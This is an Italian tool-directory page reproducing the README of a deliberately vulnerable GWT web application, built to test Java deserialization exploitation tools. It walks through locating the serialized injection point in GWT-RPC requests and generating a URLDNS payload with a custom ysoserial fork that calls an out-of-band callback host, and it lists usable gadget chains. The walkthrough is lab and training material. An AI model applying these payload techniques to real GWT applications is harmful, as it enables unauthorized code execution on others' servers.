Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
VulnerableGWTApp — Un'applicazione web basata su GWT, intenzionalmente vulnerabile, per testare strumenti e tecniche | Kitploit
Strumenti/GitHubGitHub/bishopfox/vulnerablegwtapp
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

Un'applicazione web basata su GWT, intenzionalmente vulnerabile, per testare strumenti e tecniche

Vedi Repository
52 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Applicazione Web GWT Vulnerabile

Questa è una versione dell'applicazione di esempio StockWatcher descritta nella guida introduttiva di GWT modificata per utilizzare la funzionalità "enhanced classes" di GWT, il che la rende vulnerabile a un attacco di deserializzazione Java. Dovrebbe essere usata solo per testare strumenti di rilevamento e sfruttamento. Le classi potenziate sono comunemente usate nelle applicazioni reali basate su GWT, ma fino alla pubblicazione di questo esempio non esistevano applicazioni web open source facilmente reperibili che i professionisti della sicurezza potessero utilizzare per validare i propri strumenti e le proprie procedure.

Lo sfruttamento delle applicazioni basate su GWT è discusso nel post del blog di Bishop Fox "GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability".

Esecuzione dell'applicazione web

Per eseguire l'applicazione web, è necessario un sistema Linux con i seguenti strumenti:

  • La versione completa di OpenJDK 11 JRE, non la versione headless - ad esempio sulle distribuzioni basate su Debian, installare il pacchetto openjdk-11-jre
  • ant (installarlo tramite il gestore pacchetti della propria distribuzione)
  • Versione 2.10.0 di GWT SDK

Avvio rapido

L'applicazione richiede una serie di file JAR troppo grandi per essere inclusi direttamente nel repository GitHub, quindi il modo più semplice per iniziare è scaricare l'ultimo pacchetto dalla pagina delle release ed estrarlo.

Dopo aver estratto la release, modificare questa riga in build.xml per sostituire /home/user/GWT/gwt-2.10.0 con la directory del proprio GWT SDK:

Dalla directory del codice sorgente, eseguire i seguenti comandi:

root@kitploit:~
ant build
ant devmode

Questo avvierà l'applicazione web vulnerabile e la renderà accessibile all'indirizzo http://127.0.0.1:8888/StockWatcher.html.

Nota: se si inoltra il traffico al servizio locale per renderlo accessibile da remoto, è necessario inoltrare anche la porta 9876 oltre alla 8888.

Esecuzione diretta dal codice di questo repository

Se si desidera clonare questo repository ed eseguire l'applicazione senza scaricare una release, dopo la clonazione è necessario scaricare e aggiungere i seguenti file JAR di terze parti nella directory lib:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

Dovrete anche copiare i seguenti file JAR di GWT dalla directory di GWT (ad es. gwt-2.10.0/) nella directory lib di questa applicazione vulnerabile:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

Dopo aver copiato tutti questi file JAR, eseguire gli altri passaggi della sezione Avvio rapido precedente.

Sfruttamento dell'applicazione web

Utilizzando un browser web configurato per connettersi tramite un proxy di intercettazione (come Burp Suite), caricare l'URL http://127.0.0.1:8888/StockWatcher.html.

La pagina mostrerà inizialmente un messaggio di "compilazione" (compiling). Attendere finché non visualizza questo modulo di base:

[ L'applicazione web StockWatcher che mostra un campo per aggiungere un simbolo azionario ]

Inserire una stringa breve nel campo, ad esempio BFOX, quindi fare clic sul pulsante Add. La pagina dovrebbe iniziare a mostrare aggiornamenti casuali per il simbolo azionario simulato:

[ L'applicazione web StockWatcher che mostra dati di prezzo simulati per il simbolo BFOX ]

Nella cronologia del proxy di intercettazione, noterete che il browser sta ora inviando ripetutamente richieste POST a http://127.0.0.1:8888/stockwatcher/checkCustomClass1, simili alla seguente:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

I dati binari codificati in Base64 rO0ABXcEAAAAAA== rappresentano un punto di iniezione vulnerabile nella richiesta. Per sfruttare l'applicazione web, è necessario generare un payload sostitutivo. Ad esempio, per generare un payload URLDNS utilizzando la versione personalizzata di ysoserial di Bishop Fox, si può eseguire il seguente comando:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

Inviare una versione modificata della richiesta che sostituisca rO0ABXcEAAAAAA== con il payload generato; l'applicazione vulnerabile dovrebbe deserializzarlo e attivarlo. Oltre a qualsiasi azione causata dal payload, la risposta dovrebbe includere anche una NoSuchFieldException relativa al nome del campo se il valore è stato deserializzato, ad esempio usando il nome bishopfox dell'esempio precedente:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

Se avete utilizzato la release precompilata dell'applicazione web vulnerabile, o avete aggiunto manualmente tutti i JAR sopra citati a una build personalizzata, dovreste (come minimo) essere in grado di utilizzare i seguenti payload contro l'applicazione web:

  • AspectJWeaver
  • Jython2
  • Jython3

Al momento della stesura di questo documento, la versione principale di ysoserial non supportava l'output in formato GWT, quindi assicuratevi di utilizzare il fork personalizzato.

Scarica lo strumento